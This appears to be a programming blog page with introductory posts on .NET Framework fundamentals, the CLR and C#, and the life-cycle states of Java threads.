.NET Framework Fundamentals

                                .NET Framework Fundamentals

.NET FRAMEWORK

DESCRIPTION

Programs written for the .NET Framework execute in a software environment that manages the program’s runtime requirements. Also part of the .NET Framework, this runtime environment is known as the Common Language Runtime (CLR).

PRINCIPAL DESIGN FEATURES

INTEROPERABILITY

Because computer systems commonly require interaction between new and older applications, the .NET Framework provides means to access functionality that is implemented in programs that execute outside the .NET environment. Access toCOM components is provided in the System.Runtime.InteropServices and System.EnterpriseServices namespaces of the framework; access to other functionality is provided using theP/Invoke feature.

COMMON RUNTIME ENGINE

The Common Language Runtime (CLR) is the execution engine of the .NET Framework. All .NET programs execute under the supervision of the CLR, guaranteeing certain properties and behaviors in the areas of memory management, security, and exception handling.

LANGUAGE INDEPENDENCE

The .NET Framework introduces a Common Type System, or CTS. The CTSspecification defines all possibledatatypes and programming constructs supported by the CLR and how they may or may not interact with each other conforming to theCommon Language Infrastructure (CLI) specification. Because of this feature, the .NET Framework supports the exchange of types and object instances between libraries and applications written using any conforming .NET language.

BASE CLASS LIBRARY

The Base Class Library (BCL), part of the Framework Class Library (FCL), is a library of functionality available to all languages using the .NET Framework. The BCL provides classes which encapsulate a number of common functions, includingfile reading and writing, graphic rendering, database interaction, XML document manipulation and so on.

SIMPLIFIED DEPLOYMENT

The .NET Framework includes design features and tools that help manage theinstallation of computer software to ensure that it does not interfere with previously installed software, and that it conforms to security requirements.

SECURITY

The design is meant to address some of the vulnerabilities, such as buffer overflows, that have been exploited by malicious software. Additionally, .NET provides a common security model for all applications.

PORTABILITY

The design of the .NET Framework allows it to theoretically be platform agnostic, and thus cross-platformcompatible. That is, a program written to use the framework should run without change on any type of system for which the framework is implemented.

ARCHITECTURE

COMMON LANGUAGE INFRASTRUCTURE (CLI)

The purpose of the Common Language Infrastructure (CLI), is to provide a language-neutral platform for application development and execution

WHAT IS .NET AND Why .NET

                                                    WHAT IS .NET AND WHY  .NET

1. What is .NET?
2. Why .NET?
3. Microsoft's .NET Framework
4. CLR, CTS and CLS - an Overview
5. .NET Framework Class library
6. .NET compliant Languages and
7. C# - a brief introduction

Introduction
The .NET Platform and .NET-Aware Programming Languages, particularly C# are already making a turnaround in the way Applications are developed in the enterprise world. This new programming model is a boon for building XML Web Services and applications. Say it may be Web Applications, XML Web Services, desktop or mobile applications; .NET Framework has got every thing you need to develop these applications with excellent performance and throughput. Moreover Microsoft's IDE, Visual Studio .NET, comforts the user by providing a cool development environment. The .NET Platform is the world order of Windows development and it is possible for non-Windows development in the future.
The .NET Framework allows different programming languages & libraries to work together seamlessly which is made possible by the Common Type System. Microsoft has developed a new language named c# specifically for this new platform which will not come under the scope of this article, anyway I will get you started with C# and specify, why it is the programming language most suited for the .NET platform! 

What is .NET any way?
.NET is Microsoft's innovative strategy to simplify building XML Web Services and to develop, deploy, and maintain desktop, enterprise, Internet and Smart devices applications in the Internet age.
The .NET platform is thus a runtime environment on which applications coded in any of the managed languages run. It acts as a software layer between the applications written on the .NET and the operating system. For the time being, the operating systems can be any of the Windows platforms. 
Cool right! To make you feel more clear and comfortable, the term .NET actually means the set of tools and technologies as follows:


Fig 1: Microsoft .NET
The .NET Framework is the keystone of Microsoft .NET. The .Microsoft's .NET vision of connecting information, people, systems, and devices is made true by the .NET Framework.
Why .NET?The most beauty in .NET is that we don't have to learn a new language to program on the .NET platform. The platform is very much language agnostic and there are only a few syntactical issues to start programming in a language for the .NET platform.
.NET platform presents us with the following:

• Multiple Language Development.
• Robust runtime environment, CLR.
• Cool Development environment, Visual Studio .NET.
• High level of communication among applications.
• Support for ubiquitous protocols namely SOAP, XML, HTTP, and HTML.
• A huge and powerful class library with over 2000 classes.

And many more! 
.NET FrameworkThe term .NET framework stands for the collection of technologies that form the development basis for the Microsoft .NET platform. 
It is a development and execution environment that allows different programming languages & libraries to work together effortlessly to create Windows-based applications that are easier to build, manage, and deploy. 
The major constitutes of .NET Framework are:

• Framework Class Libraries (FCL)
• Common Language Runtime (CLR) and
• Common Language Specification (CLS)

Fig 2: .NET Framework
The .NET Framework uses standard Internet protocols and specifications like TCP/IP, SOAP, XML, & HTTP to allow a broad range of information, people, systems, and devices to be connected.
Now let's look at the components of .NET Framework. 
Framework Class Library (FCL)The Framework class library is vast. It comprises of over 2,000 classes. The Framework Class Library consists of the following main parts:

• The Base Class Library
• Windows Forms
• ASP.NET Web Forms
• ASP.NET Web Services
• Data and XML classes

The Base Class Library comprises Security, Networking, Diagnostics, I/O, and other types of Operating Systems services. 
Common Language Specifications (CLS)One of the important goals of .NET Framework is to support Multiple Languages. This is achieved by CLS. For multiple languages to interoperate, it is necessary that they should go on in common in certain features such as Types that are used. For e. g. Every Language has its own Size and range for different data types. Thus CLS is the agreement among language designers and class library designers concerning these usage conventions. 
Common Language Runtime (CLR)CLR is the runtime provided by .NET. It allows us to execute programs on the .NET platform. The CLR provides:

• Simple Application Development
• Safety (because it does most of the runtime checking)
• Easy Deployment
• Multiple Languages support and
• Good Performance

The good performance is achieved by JIT (Just-in-Time) compilation built into CLR. The first time a method is encountered; the CLR performs the verifications, calls the JIT which converts the IL into native code. The next time the method is encountered, the native code executes directly. The following will make you clearer.
The process of programming in the .NET environment is:

1. Do the code in any .NET compliant high-level language
2. Compile it using the corresponding language's compiler
3. Run the IL

Fig 3: Design of CLR
We must also be aware of some more terminologies to get started with .NET which are as follows:
AssembliesThese are a grouping of types n resources that work together as a logical unit. It consists of

• MSIL (the Intermediate Language)
• Meta Data (describing the types used in the program)
• Manifest (relation ship between the elements listed in the assembly)

ManifestA manifest describes the relationship between the elements in the assembly and to the external elements. You can use the ildasm.exe tool to disassemble an assembly.
Getting Started with C#!
Getting started with C# is very easy; if you have a little bit of programming background in OOPS and C or Java. C# is the best programming language for the .NET platform. It has been specifically designed for the .NET platform. C# takes the advantages of the .NET platform to the full. The runtime environment provided by .NET, CLR manages the execution of code and provides a lot of useful services. Not all .NET compliant languages make the most of CLR; C# utilizes CLR, the Best!

As usual, a typical starter program in C# will be as follows:

using System;namespace ConsoleApplication1 //similar to packages in Java {class Class1
{public static void Main(string[] args)
{
Console.WriteLine("Hi, Welcome to C#");
}}
} 
If we build and run the above program using Visual Studio .NET, the output in the console will be as follows:

We can use the ildasm.exe over the assembly of the above program for more vividness.

Thread Life Cycle in java

                       Thread Life Cycle

Thread has many different state through out its life.

1 Newborn State

2 Runnable State

3 Running State

4 Blocked State

5 Dead State

Thread should be in any one state of above and it can be move from one state to another by different methods and ways.

1 Newborn State

When we create a thread it will be in Newborn State.

The thread is just created still its not running.

We can move it to running mode by invoking the start() method and it can be killed by using stop() method.

2 Runnable State

It means that thread is now ready for running and its waiting to give control.

We can move control to another thread by yield() method.

3 Running State

It means thread is in its execution mode becaause the control of cpu is given to that particular thread.

It can be move in three different situation from running mode.

These all are different methods which can be apply on running thread and how the state is changing and how we can come in our original previous state using different methods are shown in above figure.

4 Blocked State

A thread is called in Blocked State when it is not allowed to entering in Runnable State or Running State.

It happens when thread is in waiting mode, suspended or in sleeping mode.

5 Dead State

When a thread is completed executing its run() method the life cycle of that particular thread is end.

We can kill thread by invoking stop() method for that particular thread and send it to be in Dead State.
